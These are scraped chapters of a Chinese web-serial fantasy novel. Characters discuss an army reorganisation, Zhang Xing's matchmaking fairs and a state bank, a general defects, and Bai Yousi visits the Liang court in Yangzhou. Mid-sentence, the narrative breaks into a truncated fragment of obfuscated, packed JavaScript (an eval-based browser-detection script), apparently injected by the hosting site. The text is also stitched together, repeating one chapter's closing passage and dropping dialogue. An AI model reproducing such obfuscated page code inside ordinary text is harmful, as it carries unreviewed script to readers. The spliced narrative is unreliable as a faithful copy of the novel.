说是请示,其实就是个通知,因为杜破阵此时应该已经出兵了,而且邺城这里确系答应过杜破阵,给他自行其是的机会和权力。 换言之,南面也打起来了。 那么看起来,战事似乎没有那么轻易就能离开这个崩乱之世……于是乎,张行亲自主持了六月份的又一轮相亲会,只白有思开始巡视淮北。 PS:大家新的一年发大财! 第七十三章 安车行(2) “春眠……不觉晓, 处处……闻啼鸟。 夜来……风雨声, 花落……知多少?” 漳水畔的一处酒楼上,刘黑榥摇头晃脑,端着酒杯,侧靠着远端的漳水,便将酒楼粉壁上的一首诗给吟了出来。 然而,等待他的却不是欢呼与掌声,而是曹晨在内诸多清河兄弟的诡异眼神。 “你们这般看我作甚?”刘黑吟诵完毕,反而对其余人的反应不满。 “老刘!”曹晨最是无语。“你自己什么样子你不晓得吗?胡子拉碴到脖子,非得学人家吟诗作对?趁着现在闲下来,先去南边相亲会把婚事定下来如何?再说了,这都夏天了,你还在这吟诵什么春眠不觉晓,果真应时?” “曹大,你这就是……就是没出息!”面对一连串揭底的反问,刘黑榥非但没有灰头土脸,反而立即反击了过去。“上个月,是不是首席跟我们亲口说的,各营做主将的要读书,便是不懂经史子集,也该看看《郦月传》这种小说,至不济背几句诗词……如何到了你这里便是不应时了?要我说,你再这般下去,一营主将不保!” 曹晨难得脸色一黑:“老刘,你自站在岸上,可不要这般幸灾乐祸!” 刘黑榥嘿嘿笑了几声,宛若得胜公鸡一般坐下,丝毫不顾忌伤了老乡感情。 但酒席立马变得潦草起来。 在场的清河老乡忍耐不住的议论起来,都在说今夏大调军的事情,也是目前跟他们最切身相关的事宜——去年过于成功的大进军行动加上黜龙帮高层普遍不愿意背盟的意愿实际上为黜龙帮争取到了足足一年半的休整时间,没有任何一个组织政权会放弃这个窗口期进行大规模军改和军备。 而黜龙帮也确实已经着手此事,唯独这类活动中最重要的一点就是军官人事更迭,不免牵扯到这些刚刚回来休整的各营军官了。 仔细想想,一年半前,也就是黜龙帮上次横扫河北、北地之前,已经做过一次营将级别的更迭了,而且淘汰了大量的资历深厚却乏军事才能之辈,其中很多人干脆是建帮功臣。 那一次,好像闹得还挺紧张。 “其实,真要是让我转地方,或者来大行台这边也不是不行。”一名络腮胡子的大汉按着酒杯道。“我看小高跟他浑家在曹大姐那里就做的极好,可怕就怕,真转过去了,还是全须全尾的,人家暗地里就说你,觉得你是因为无能才落下来的……这到时候怎么辩白去?” “名声算什么?转的人多了,自有人辩白……关键还是前途。”又一名白净男子接口道。“接下来还得打仗,还是四家争雄的大仗,这才功勋所在……刚刚曹大哥说刘大头领是站在岸上,不要太对,但可不是说他还能留在军中作战,而是他已经大头领了,我们这些人却卡在头领前望眼欲穿。” “不错,想升头领太难了!三转的舵主和**多的是,这一层的准备将、县令,还有一些没有说法的郡守,加一起怕不是要成千上万?可头领就那百多个!”有人明显焦虑起来。 “一个营十个队将,十个准备将,笼笼统统七八十个营,加上踏白骑那边,这便是小两千了!县令、还没说法的郡守也得五六百,还有新科进士,大行台里的资历参军、文书,各部里的司官,怕也有五六百,新降的荡魔卫再加五六百……可不是成千上万嘛!”有人干脆算起了账。 “要我说,曹大哥你也是饱汉子不知饿汉子饥……头领才是最最关键的一层!”说到这里,一开始的白净男子干脆拍了桌子。 “曹大也没说瞎话。”倒是刘黑榥适时说了句良心话。“这不是大家都想要进步嘛,你们想冲个头领,曹大也要冲个大头领……首席都说了,既入了帮,便是要为天下人做公道,不想进步岂不是不想为天下人做更大的公道?你们都没错,都该想着进步才对!” 众人纷纷颔首附和,又喝了一轮酒,吃了几筷子菜肴。 “进步都想进步,可如今黜龙帮规制到底不同以往了。”等众人再静下来,曹晨方才一声叹气。“再往后,不光是头领,哪儿都难!从龙头到头领早就定下总数了,还要分地方……我之所以心里发慌,还不是因为大行台这里藏龙卧虎,河北地方也全是功勋人物,跟人家争起来没把握?所以,还是得指望打出去,以营将的身份把隶属放在别处,就好像如今武安的人都把隶属放在北地一般。” 众人再次颔首附和,认可这个说法。 “要是这么计算,曹大,你也去北地便是!”刘黑榥眼睛半转,端起酒杯嘬了一口,给出了一个建议。“首席那里又不撵人,你当面去观风院求一句试试呗!反正如今窦大哥在幽州那里也只是支援,怕是再难出去单领一路打仗了,总不好去幽州……幽州也没几个营吧?” 曹晨沉默半晌,还是摇头:“北地过去简单,可以后窝在那里没有仗打,真就好升迁?何况李龙头到底是河北官军的身份,跟咱们河北义军的出身尿不到一起去,不是一个姻亲就能如何的。再说了,我哪来的脸面当面去求首席?总不能拿自家妹子的” “左也不行右也不行,你还有没有点子出息?”刘黑榥似笑非笑。“还是说,你就是拿定了主意,就想留在大行台这里继续领兵打仗?” “是!”曹晨应了一声。 “这就对了!”刘黑榥指着对方鼻子啧啧起来,复又指向自己的鼻子。“主意得正!就像我,我就是指望着平定天下时能得了龙头的位置,这才不枉活这一回!” “你哪里是为了做龙头,你分明就是只会打仗,也只想打仗,除了打仗你什么都不会,也什么都不想,你连老婆都不想!”曹晨无语至极。 “无所谓了。”刘黑榥摆了下手,终于按捺不住性子将自己本意扯了出来。“如何,老曹?还有你们几个兄弟一起,要是都觉得北地不好去,又想留下做军官,我带你们去寻首席说,就说咱们几个兄弟打仗时向来习惯了,而且配合顺畅,请他为我们做个主意?” 众人心中大动,纷纷看向曹晨,而曹晨起先自然也是一喜,却又陡然一惊,然后想了一想,却也只能颔首。 原因很简单,曹晨当然希望能够得到刘黑榥这种战功卓著的大头领的保荐,可与此同时,他……或者说在场的所有人也都能意识到,对方这是在挖墙脚,公开的挖墙角,还是在挖曹晨妹夫、所有人昔日的领导,如今的幽州行台窦立德的墙角! 这个光棍汉不去相亲,专门起宴招待这些清河军汉,本就不怀好意! 唯独转念一想,现在这个情况,窦立德确系在幽州做行台,曹夕也在经营她的大部,窦小娘也做到一营主将,这根本就是窦立德全家进步的太快了,摊子太大,反过来兜不住军中剩余的老兄弟了。 这个时候,本就是清河出身的大头领刘黑榥站出来,替窦大哥收拢一下,难道就算是坏事? 最关键的是,现在确实需要人家刘大头领站出来替大家说句话,才好保证大家伙不在整军中靠边站好不好? 一念至此,曹晨也不矫情,立即点了头,周围人自然也都点头。 刘黑榥见状得意忘形,当场嚷嚷起来,要现在便去寻张首席。 众人自然乐意,跟着刘黑榥下了楼,曹晨在后面付了账,也匆匆跟上。 此时正值初夏中午,微风鼓荡,漳河饱满,而众人喝酒的地方居然是在城内。 没错,邺城又又又变大了! 原本的邺城作为河北首府一直很大,但是大魏统一天下过程中出于关中本位的思想,曾经将邺城成规模的拆迁并遣散了大量人口。 黜龙帮接手后,第一时间仿效之前的习惯,在城南、城北、城东依次设立了大型马厩、制铁坊和一座多用的校场,然后又在更南面的韩陵山城驻军,算是为邺城增加了四座有足够经济活力的支城。 随即,在那一次经典的活动之后,黜龙军又正式启用了城西的行宫。 这还不算,从黜龙帮大行台在邺城建立以后,整个河北、东境、淮北、北地的资源都理所当然的汇集过来,人口日益增加,工商业随之发展,消费水平也蹭蹭上涨,城外到支城之间的空地被广泛准许开发,渐渐堆满了商户、工坊、仓库以及相关的住户。 最后,在魏玄定的直接主持下,邺城开始有步骤的在外围区域开挖壕沟,整修下水,建立矮墙……去年张行北上黜龙的时候,这个工程就已经有了一些规模,而如今,这些完全可以称之为外城的工程基本已经完成。 整个邺城的面积直接扩大近三倍,逼得用来检阅部队、搞运动会的大校场挪到了更东面,倒是大铁坊和大马厩分南北保留了下来,并正式建立了支城。 而这场酒宴其实就是在刚刚开辟的北外城挨着漳水那边的新区中举行的,而此地的商贾工坊多来自于北地……据说,张首席有时候也会来这些新店做回忆。 回到眼下,众人离开北城,直奔行宫北面新开的玄武门而去。 验了鲸骨牌,签了名字,便入了玄武门,而玄武门后却并不是行宫区的核心部位,反而是最具有生活气息的一片地方,经过改造后,几乎每一位大小头领都在这里有一个住处,龙头们会有一个单独的院子,而到了普通头领就只有加筑院墙隔开的两间房了。 就这,估计也不够了,而帮里已经着手将更西面的漳水三台修复,然后将主要的公房搬过去,好腾出空间来给头领们分房子了。 张行、白有思、秦宝共享的观风院不在北面,而是在行宫中央偏东位置,刘黑榥等人下定主意抵达此处,却得到了正在洗马的秦宝一句话——张首席居然去城南相亲会了。 张行当然不是给自己相亲,他是给帮里老光棍找老婆! 再问什么时候回来,给的回答也是不知道。 闻得此言,很多人都要打退堂鼓,但刘黑榥是何人?天不怕地不怕的,这些兄弟聚在一起时机也难找,便咬了牙,招呼了一伙子人又往城南去了。 从行宫出来,此地又是一番风景,这边多是跟黜龙帮大行台有关系的生意,或者干脆是帮产。 譬如大行台这么多人薪、俸、衣的存储发放,都需要地方,继而又有了成衣制作、酒楼、杂货等生意,后来又有笔墨纸砚书籍,到了现在,连金银钱帛兑换的钱庄都有了两家。 而且据说背景深厚。 越过今日格外热闹的宫前小广场和商贸区,来到仓储区,便是今日举行相亲会的地方了……实际上,刘黑榥等人走到这边,便已经察觉到异样。 无他,人太多了。 此时此刻,这些子混军汉才意识到,相亲会可不止是各家小姐、未婚女官加上帮内光棍那么简单,哪个小姐家里不跟着长辈妇女来观看?不跟着兄弟来扈从?有些家底的,自然还要带些签约的仆妇伙计。对应的,那些光棍哪个是自己光秃秃来?不得跟几个成了婚的兄弟,外加大嫂长辈一起来看? 仅仅是这些人还不算,莫忘了,这是河北,是邺城,是行宫对面,张首席亲自来站台的相亲会,但凡家里有辆车的姑娘家,要不要驶出来?帮内的光棍汉哪个不骑马? 便是没车没马,是不是也得借一个过来? 于是乎,街道充塞,人声鼎沸,这边在谈哪个男的胸前鲸骨牌杠杠多,那边在说谁家小姐有多少嫁妆……刘黑榥带着一伙子人带着酒气挤进去半条街,之前观风院都没打退堂鼓的他现在终于撑不住,便要一起撤走。 结果刚要回头,便听到里面几声锣响,说是下午的第二场开始了,外面的人蜂拥进来,饶是刘黑榥早就是成丹高手了,此时也不敢腾跃逃窜的,只能顺着人流被挤了进去,一起来的兄弟都挤散了。 然而,这还没完,刚刚被挤入大仓库改的场地内,刘黑榥便后悔自己没有直接跳到房顶逃跑了。 “老刘,你竟也来了,速速过来!”坐在临时搭建台子上的张行远远看见来了一位未婚大头领,自然兴奋。 刘黑榥此时已经从头凉到脚,但首席召唤,他也没有胆子就此溜掉,只能硬着头皮走了上去。 “诸位,诸位!”张行起身牵住刘黑榥与台下乌泱泱的人做介绍。“这是咱们的刘黑榥刘大头领,清河人,今年刚过三十,修为在上次黜了吞风君后便窜到了成丹境界,身体健壮,身家清白,如今父母早去,就他一人……有没有毛病?有!这厮决意反了大魏,为河北百姓争个太平之前,因为家里穷困,又受大魏官府盘剥,只能做个赖账的破皮,全靠窦立德窦龙头接济,不然就要被人抓去上枷示众去了……所以,只有一个要求,那便是泼辣一些,能管的住他! “不要觉得他是大头领,又泼皮,就担心管不住,只要有那个泼辣性子,敢管他就行,因为只要你受了委屈,便可先来寻我,我做的媒,我管到底!他要是打老婆,我就打他!他要是敢偷偷娶小的,我便撤了他的大头领,撵到大兴山守天池去! “诸位不要不好意思,这可是这般年轻的大头领,军功卓著……过了这个村便没了这个店……现在有兴趣的,把自家女儿的表格填好,往前面的箱子里投进来! “不要怕多投!本就是相看,要是女家只能投一份表,岂不是太便宜这些混军汉了?” 台下哄笑,然后便蜂拥上前投表。 刘黑榥立在台上,眼瞅着张行将他如年猪一般发卖,实在是没忍住,当场便吼了一声:“我有话说!” “你有甚话要说?”张行扭过头来,笑吟吟来问。 刘黑榥看到对方和蔼表情,心里先发了个慌,但到底是泼皮本色,强忍着不安也放声叫了出来:“既是相看,不能只他们相看我,我也要相看她们!” 张行再度笑了笑:“收到这么多表格,还怕不能相看?” 相看个屁! 刘黑榥心中无语,真要是你张首席硬塞进来一个河南头领的什么亲眷,便是再丑、再穷,自己还能逃婚? 一念至此,这厮倒是豁出去,直接梗着脖子来喊:“漂亮我不管,籍贯也不管,脾气也无所谓,只要家里有钱的!” 张行撇了撇嘴,竟直接把这个丢人现眼的货色推到一边去了,而台下哄笑之余,却又有数家上前塞了表格……这些都是有钱,但是之前却不敢去投这位大头领的。 其实想想就知道了,按照这个世界这个时代的婚姻观,婚姻市场上最高端的女性便是大族女子,但当初黜龙帮还是那种规制的时候,程知理就能娶到崔氏女,遑论如今黜龙帮的局面了。 这种情况,刘黑榥只要自己想,去哪家提亲,哪家都没有不答应的道理。 甚至,这个相亲会能开起来,最大一个原因根本不是什么天下崩坏到现在进入到了一个整合期,有了空闲可以结婚生子,也不是有刘黑榥这种优质单身汉来充当资源,而是说,张行张首席居然亲自来做主持! 他不去参与制定新的分郡计划,不去侦查司马氏刚刚修建起的河阳三城工事,不去招待大司命参观河北,甚至都不对白横秋这个老岳父搞偷袭! 但是不管如何,张首席出现在了这个场合,众人自然纷至沓来,便是已经有婚约的,也想从这里走一遭。 你放在大魏,放在东齐,放在现在的大英,你能让皇帝给你当媒人? 相亲会纷纷扰扰,刘黑榥到底是没寻到机会说事,非只如此,就连随行的人都被冲散,一个个寻不到了。但事到如今,他反而决心今日一定要把话说出来了。 于是乎,等到一连三场相亲会结束,刘黑榥立即跟上了张行。 此时天色尚亮,刘大头领也猜到这位首席应该还会有其他事,却不料人家居然是送几位老太太回家!但刘黑榥偏偏也认得这几位河南出身的老太太,倒不好说什么……一路上,反而是他沦为了讨论的中心,几位老太太都关心他手里的表格,询问他有没有看中谁谁谁。 刘黑榥一个头两个大,只能在几位老太太的指指点点下,当场翻看起了表格,还煞有介事的恭维起了几位济阴、东郡出身的老太太。 好不容易送人入了行宫住处安顿,张行还不回观风院,居然又从玄武门走了出去,刘黑榥沿途随行,竟然到了白日他们喝酒的地方。 不用说都能猜到,这是约了人。 所幸张首席没有赶人的意思,刘大头领便也装模作样的跟着上了楼……等在这里的人年纪颇大,须发花白,身上的衣服和头上的帻巾都有些不太合适,似乎是新做的,这配合着此人明显发胖的体型,不免显得滑稽,但是刘黑榥却半点没有怠慢之态,反而肃然起来。 无他,此人正是最近刚刚来到邺城的荡魔卫大司命殷天奇。 双方落座,稍作寒暄,却又只说些闲话……什么河北气候如何,可还适应?邺城风景如何,玩的可尽兴? 不过,说着说着,似乎也提到了一些算是正经事的话题,比如荡魔卫准备如何启用武安郡的大黑帝观?允不允许外人参观?邺城这里北地货物是否畅销?荡魔卫作为黜龙帮的并行组织如何纳税?北地诸位头领要不要在邺城分派房屋?是不是该把家人接过来? 而且,双方明显有讨价还价的意味,也算是有来有往。 就在刘黑榥听得津津有味之时,大司命忽然提及了一个有意思的话题。 “钱庄?”张行也明显一愣。“荡魔卫也要开钱庄?” “张首席这是犯了什么糊涂?这本是我们的本业!”殷天奇大笑。 张行一愣,也是反应了过来……可不是嘛,人家荡魔卫在北地负责提供公共服务,而北地地广人稀,商业活动是根本要害,这荡魔卫天然就要负责给那些战团做拆借。 “开钱庄当然可以。”张行想了一想,倒是干脆。“但有件事情要告诉大司命,省的你们以为我是针对北地做的举措……我本就想让帮里出面开一家大钱庄,不光是拆借、兑换金银,还要发通票,还要负责发放和转运官吏军士的俸薪,还要管束其他民间所有的钱庄,规定利息高低和金银钱帛兑换的定例。” 殷天奇沉默片刻,看了一眼低头喝酒的刘黑榥后给出答复:“不瞒张首席,我们荡魔卫是开惯了钱庄的,当然晓得这么一个大的官家钱庄有什么用,而且我们也还没开起来,确系不好驳斥,只是我委实好奇,现在的两家钱庄,不是黜龙帮内里的底细吗?张首席这么做,不怕得罪自己根基吗?” “这话应该反过来说,若是他们贪图过了头,便是在挖他们的根基,也就是坏黜龙帮的大局,如何能拐到我头上?”张行不以为然道。“我身为首席,都没有作威作福,他们私下索求,我也没有刻意阻拦,若是遇到大政方略,受了影响,居然还有人觉得委屈,那便不能一个锅里吃饭了,该怎么办就怎么办!” 殷天奇笑了下,没有在这个话题上继续下去,而是干脆点了头。 倒是刘黑榥此时插了嘴:“首席,你这般觉得当然是通的,我也觉得河南和东都的兄弟们大多会认首席你的官家钱庄,可有些人就不是这个想法了……他们觉得他们是功臣,弃了军权,便该天经地义的受政权,弃了政权,便该求田问宅,可现在咱们黜龙帮最根本的就是授田法,他们连田宅都难**,高利债也不许,奴仆也只能签约,这个钱庄的浮财,怕就是最值当了……若是首席你轻易断了他们这个浮财的来路,怕是真有人想不开的。” “想不开就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘黑榥不敢怠慢,立即明明白白的将自己此行目的说了出来,就是要在新一轮整军中保这些清河-高鸡泊出身的河北义军,而且理由就是这些人相互之间以及跟他刘大头领配合默契,作战便利。 张行听完以后不置可否,反而来问:“你这般挖高鸡泊的墙角,窦龙头知道吗?” 刘黑榥当即梗起脖子来:“首席说的什么话?相互都是黜龙帮的人,谁是谁的墙角?” “这话当然是对的。”张行不由发笑。“但一锅饭也总得盛到各自碗里去吃……高鸡泊的人跟这窦龙头一起进的水泊,然后一起吃水草扛了一年多,相互之间联姻结义,就是人家窦龙头是头,不然如何是他成了河北义军的代表,做了龙头?” 刘黑榥也跟着笑了笑:“首席说的是,但窦大哥这不是远在幽州嘛?便是大家的意思,却都想留在大行台这里好去打大仗……而大行台领兵的人里面,河北义军里,就是我最出挑,这个时候当然要替首席还有窦大哥做个补漏。” “这就对了嘛,该担起来的责任就要担起来,但要光明正大的担起来……你跟窦龙头写封信,然后再写封信给徐大郎,把人和事情说清楚,你本就是大头领,有举荐的责任。”张行最后吩咐道。“我会让徐大郎去专门看看这几个人,若确实军务娴熟,又真想留下来,那就让他们同级中优先便是。” 刘黑榥立即点头……不管如何,这事算是办下来了,跟谁答复都能立得住。 但是,他还是觉得有些不够利索,因为张行居然没有直接答应。 一念至此,其人不由来问:“首席,我月前就想问了,怎么觉得你现在不管正事呢?” “我如何不管正事?”张行诧异来问。“军改吗?头领以下的任命我要是管,岂不是累死?人事上管头领以上已经不错了。” “话虽如此,可首席明明还在管其他的事……就好像这相亲会,我也晓得首席是想趁机弥合帮内派系,南北合一,可也不至于亲自坐镇吧?”刘黑榥说出了内心真实想法。 “你以为我是为了什么南北合一去做监督的?”张行略显诧异。 “不是如此吗?”刘黑榥真心不解了。 “我是为了让老百姓相信,这个黜龙帮,这个什么大明,是真能让他们过太平日子的,所以才会做这些事情。”张行喟然以对。 刘黑榥有些茫然。 “老百姓相信我们,我们就能调度更多的人力物力,这样才能在马上要开始的战场上更占优势,就能让天下快一些统一。”张行补充了一句。 刘黑榥这下子懂了。 张行起身离开,刘大头领主动在后面结了账,这才一起入了玄武门。 夏日总的过得很快,尤其是在某种相对而言的无所事事中……其实,这种心理也很奇怪,因为战乱之世中,这种和平的生活本身就应该是人们的追求才对。 但实际上,因为战争的威胁,人们始终觉得这种生活不真实,始终觉得这种生活是在为了战争做准备。 这么说似乎也没错。 毕竟,仗总是要打的……天下万事,唯战不易。 进入五月,河南那边已经进入到了一年一度的梅雨季节,河北这里也开始时不时的有了典型的五月雨……邺城的事情很顺利,在没有战争活动的情况下,军国主义体制推动起其他各类事务总是那么快捷高效。 在继扩展邺城、收编北地之后,张行想要的帮中直属大钱庄也建立了,按照黜龙帮**传统,这个钱庄专门组了一个小部,向大头领曹夕负责,全程顺利,无人反对。 就连相亲会也显得格外成功,不管张行如何给自己的行为上价值,但事实就是,刘黑榥说的有一定道理……连续多年的战斗,从去年开始才有了一定的喘息之机,到了今年,婚姻和生育成为了邺城行宫内的主流,而且很明显的,张首席在通过那些东郡、济阴的老太太们刻意推动着河南、河北、东境、北地,乃至于江淮的各方婚姻合流。 至于例行的每一次军事活动成功后都要进行的军事改革与军队改编也在按部就班的进行着,头领一层的安排也已经完成,现在正在制定总数在六十个野战营加二十个军法、巡骑、土木营,再加上八十个后勤、戍卫、军屯营,合计一百六十营的军事重构计划。 没错,从野战部队角度来说,黜龙帮似乎并没有在夺取幽州、河间、北地、晋北后大肆扩军,他们原本就有六七十个营,现在不过是增加了十来个而已,最大的要点似乎是有序建设了多达十六万之众、与野战部队几乎相当的强大预备役。 不过,这里是有一个明显战略欺骗的——徐世英按照张行的要求,将新增的北地军事力量通过戍卫、后勤、巡骑、土木营的方式隐晦的投射到李定以及他周边的行台那里,实际上构筑了一个多达五万,全力支援下可达七万的战略重兵集团。 所以,如果黜龙帮这一次军改成功,那将来黜龙帮一旦动员,表面上会有合计十六万常规野战兵力。而实际上,会有十九万左右的野战部队。其中多出来的三万,大略分布在李定所在的北地西行台,以及西行台周边的其余四个行台,也就是北地其余两行台,加上幽州行台以及周行范所在的苦海-晋北行台。 到时候,就可以轻易发动张行的全地图钳形攻势了。 总而言之,进入这一年的黜龙帮,最起码在邺城这里,一切都显得很成功、很顺利,但又莫名的很匆忙、很焦虑。 五月初七,一场雷雨中,多名哨骑从大河河道方向飞奔而来,向邺城报告了一个让人瞠目结舌的消息——这一轮军改中转为戍卫营主将的头领常负,因为被挤出野战军外加钱庄生意被管控等等缘由,利用河南那典型的梅雨气候,几乎是单骑逃亡到了淮阳郡,通过太守赵佗,向司马正请降。 走之前,还留下书信喝骂张行与徐世英处事不公。 一时间,邺城震动。 而很快,整个黜龙帮上下就应激了起来——单通海几乎是当日晚间便亲身驰到了邺城,请求出兵龙囚关,逼迫东都将人送还;参军部在内,绝大部分的邺城大行台官吏都认为,应该趁机撕毁到明年此时的合约,抢攻东都。 张行拒绝了这些,只是让谢鸣鹤走外交途径要人而已。 相互嘈杂了半个月,梅雨都要结束的时候,司马正给出答复,人已经自行去了西都,大英似乎对黜龙帮的叛徒很欢迎,尤其是黜龙帮刚刚进行了一大半的军改,据说常负直接被授予了一品散官并遥领了关中一郡太守,很显然,只要常负稳定下来,按照惯例,他将会获得这个实职,然后再等第一次立功后加爵位。 孤身一人,便至于此,这是典型的降人优待,参照的是当年大魏对东齐、南陈降人的惯例。 这下子,张行没有再迟疑,下令周行范、洪长涯二人对晋地发起报复性的攻击,军队规模限定在两个行台内。 五月底,周行范引兵一万叩楼烦关,几乎是同日,已经做了大英忠臣的王臣廓引兵七千反向侵入恒山,逼的洪长涯不得不回师。 而晋地还没有结果呢,淮南突然来人,杜破阵遣人告知了邺城一个消息——南梁内乱,梁主萧辉要借淮右盟兵马平叛。 说是请示,其实就是个通知,因为杜破阵此时应该已经出兵了,而且邺城这里确系答应过杜破阵,给他自行其是的机会和权力。 换言之,南面也打起来了。 那么看起来,战事似乎没有那么轻易就能离开这个崩乱之世……于是乎,张行亲自主持了六月份的又一轮相亲会,只白有思开始巡视淮北。 PS:大家新的一年发大财! 第七十四章 安车行(3) 扬州城行宫,昔日大魏皇帝曹彻享乐之所,此时正莺歌燕舞。 不过,仅仅是片刻后,宫殿的新主人萧辉似乎就意识到了问题所在,赶紧下令让刚刚上来的歌舞撤掉。 “请几位姐妹稍驻。”坐在左手第一位本来正惬意欣赏舞蹈的白有思一愣,醒悟之余却又主动喊住了这些大梁后宫舞女。 听到姐妹二字,萧辉满身不自在,但还是正色来问:“白总管竟也喜欢歌舞吗?” “自然欣赏,可倒不是为这个喊住人。”白有思以手指向场中领舞。“这位姐姐竟有些眼熟,好像哪里见过的样子。” 萧辉一愣,赶紧含笑先做了介绍:“不瞒白总管,这是朕后宫六妃之一的韩妃,极擅歌舞,却算是那昏暴之君留下的孤苦之人,那些贼人走时她躲在后宫墙角柴垛内,朕入城整理此地时遇到的,便纳娶了过来……想来,或许当日在东都或者三征后你护驾来此时曾见过的。” 白有思点点头,看向那女子:“姐姐去过东都吗?认得我吗?可晓得当日都中大林小林都知?” 那女子难得感慨,就在殿中匆匆一礼:“当日在东都,侥得同名,自然晓得大小林都知,也晓得白总管与大小林都知素来亲密。” 白有思神思恍动,扶案长叹,起身认真回了一礼:“竟然是韩都知……韩都知如何入宫?” “本是扬州人罢了。”女子苦笑以对。“当日在东都,杨慎叛乱,我便与大小林二位谈论,都觉得天下将乱,不如早些归乡,我行动的早,却不料来到扬州不过一年两载,便又遇到**搜罗城内女子,因为擅长舞蹈,所以反而在家乡入宫……后来**得诛,我怕再被掳掠出乡,便藏在后宫柴垛内,所以至此。” “白总管不晓得。”萧辉居高临下,继续以手指之。“当年江都兵乱,正是韩妃大着胆子指出了曹彻藏身的冷宫,然后又那些禁军押解皇帝不及劫掠时先行逃走躲下,端是胆大心细。” 白有思喟然,说了一句莫名其妙的话,似乎是在敷衍御座上的那位大梁国主:“怪不得我说哪里见过的样子。” 那韩妃此时也忍不住来问:“不晓得大林小林两位如何结果?” “小林都知半路获救,归乡去了,大林都知回乡路上遭遇盗匪,人已无了。”白有思坦诚以对。“我彼时自诩天下一剑可当,却不料人力有限,乱世一开,连朋友都救不得,所以才弃身去了黜龙帮。” 韩妃自然黯然:“乱世浮萍,随风东西流,哪里能指望他人呢?反而是白娘子这般身份,还能记住她们俩,尝试去救,倒是君恩难得了。” 白有思无言以对。 上方萧辉也叹了一叹:“既是故人相逢,韩妃也不必避讳,不如一并列座。” 然而,韩妃本人只是摇头:“情难自禁,还请圣人恕罪。” 说完,只是一礼,便随其余舞女一并退了出去。 萧辉分明有些无奈与尴尬。 就这样,歌舞既去,主宾又饮了几杯,依旧是萧国主先来感慨以掩饰尴尬:“不想以白总管的出身、修为也有这般不能为的时候,朕还以为只有朕这般半生流离之人才会屡屡不得伸张呢?” “韩姐姐说的对,人生于世,恰如浮萍入水,只要没有超脱凡尘,谈何肆意?”白有思稍作感慨。 萧辉沉默片刻,忽然主动来问:“白总管晓得今日宫前那人经历吗?” 白有思也没想到对方会主动提及此事,只能摇头:“自然不晓得。” 萧辉再三叹气:“那是朕的近枝堂兄……国朝再创,相隔日久,昔日皇族凋零,朕身边乏人,便将他寻到了。平素其实还好,梳理文档,监管行宫这里的器械战马粮草,都还顺当……但他年纪大一些,小时候亲身遭逢过本朝覆灭,壮年又遇到杨斌来南方屠戮逆陈……他不是敌视北人,而是对北人和兵事有了畏惧之意。” 听到这个解释,白有思倒是也有些欷歔之态,真要是如此,倒也不能怪人家反应这么大。只是,既晓得这厮被吓坏了,如何还要用作监管行宫军械这种要职? 这萧辉委实乏人。 不过,这对自己和黜龙帮来说不是好事吗? 然而,白有思虽打定主意要在南方挤开一条缝隙,将自己在黜龙帮的基业展起来,可接下来,这萧辉明明自陈缺人,却闭口不提之前借兵之事,也不说两家关系,更不论什么天下大势、国中内乱,反而就这么稀里糊涂的喝了下去。 讲实话,别的倒也罢了,连黜龙帮黜吞风君的事情都不问一句,委实显得刻意了。 相对应的,越过杜破阵至此的白有思虽然心里很急,但毕竟历练出来了,反而晓得不能操之过急,便也只按住多余心思,陪着对方从容用过宴席。 当日宴罢,白有思拒绝了留宿皇宫的邀请,只告知对方,她有亲眷和朋友在扬州,无须劳动。萧辉也晓得自己阻拦不得,只能任由白有思去寻了一名江东八大家出身的大梁臣子,然后住进了对方家里。 当晚,白有思理所当然的与姓虞的这家子弟们聊了下萧辉眼下处境以及南梁如今的局面……说实话,效果不是很好,因为这家人到底是江东八大家的做派,说来说去,不得其中要害,都是些虚浮之物,反而是后来抱怨起江东那边的资产被新权贵所占时,意外点破了一些东西,让白有思多晓得了一些事情。 “真火教内相互争夺这些庄园产业,操师御竟然不管吗?”虞姓人家后堂灯火下,白有思略显诧异。“他不就在江宁?” “他管不来。”灯火下,搬着小板凳环坐的三四人中一个年长的赶紧解释。“白总管不晓得,真火教里也是有脉络的……当年真火教在南方是全盛,虽说跟世族、将门、皇家都有纷争,但本身一体,各处都有分布。可是南朝几次更迭,加上大魏刻意打压,现在早就**,如今的湖南诸侯,其实就是当年陈亡时被真火教卖掉的自家嫡系;而后操师御这一脉则是之前窝在江西山中的新枝;但江西穷困,江东富庶,真火教自然不可能放弃,便有许多帮会留在江东做生意来支援江西……” “所以如今相争的,正昔日江西山上的与江东帮会的?一边是刀枪,替他领兵打仗的;另一边是钱囊,替他管理地方的,都没法动?”白有思轻笑了一声。 “白总管明鉴。”那人立即点头。 而白有思又想了一想,不由再笑:“如此说来,你们这些江东世族是不愿意为他们出力的了?” 几人面面相觑,还是最年长那人苦笑起来:“白总管,我们既不是傻子,也不是什么野心之辈,更不是什么勇烈之人……他让我们去做,我们便去做,但现在这个局面,若说要我们一心一意为他们做事,怕是也难。” “这倒是。”白有思点头,却又摇头。“他们若不用你们也不是不行,但总要收拾好内里,把自己的人规整好……现在这个局面,算是什么?” “其实就是争权夺利。”还是那年长之人解释道。“江南这边,看起来一统了,下面实则四分五裂,真火教这里不过是最大的派系,不然那湖南也不会屡屡反叛……而操师御想继续做大,吞了湖南跟这边,就得用东西哄着下面的人……这跟之前南朝世族更迭还不一样,世族接替秉政是有脉络和承续的,他们这个纯属是刀兵相争。” 白有思连连颔首。 “非只如此。”就在这时,一名坐在最后面许久没说话的年轻人忽然开口道。“最近有些谣言,说是操师御有些别的想法……” “什么意思?”发问的是最前面虞家那位年长之人。 “就是说操师御觉得真火教代代换人不好,他想让自己儿子直接接任。”那人声音明显低了下去。 “他想的美……真火教几千年的传承了,他擅自纳入私人,下面谁认?” “上面也不认呀,小心赤帝娘娘一道雷劈死他!” “这话有点糊涂……因为他便是有,也不会做的,更不会说,不会做不会说的事情,那就是没有。” “所以听人说,操师御其实是在打重起炉灶的主意……就是学……学张首席,脱离北地和黜龙帮,在外面建个大明,自己过几年再当国主的路子。”那人小心翼翼来做解释。 周围人都不说话了。 而且很难说是因为操师御的留言敏感,还是关于张行的描述更敏感一些。 “他若真在南边搞这个路子,岂不是要夺了萧国主的位子?”白有思根本懒得更正对方关于张行与黜龙帮、荡魔卫以及大明的关系,只是把焦点放在了眼前。 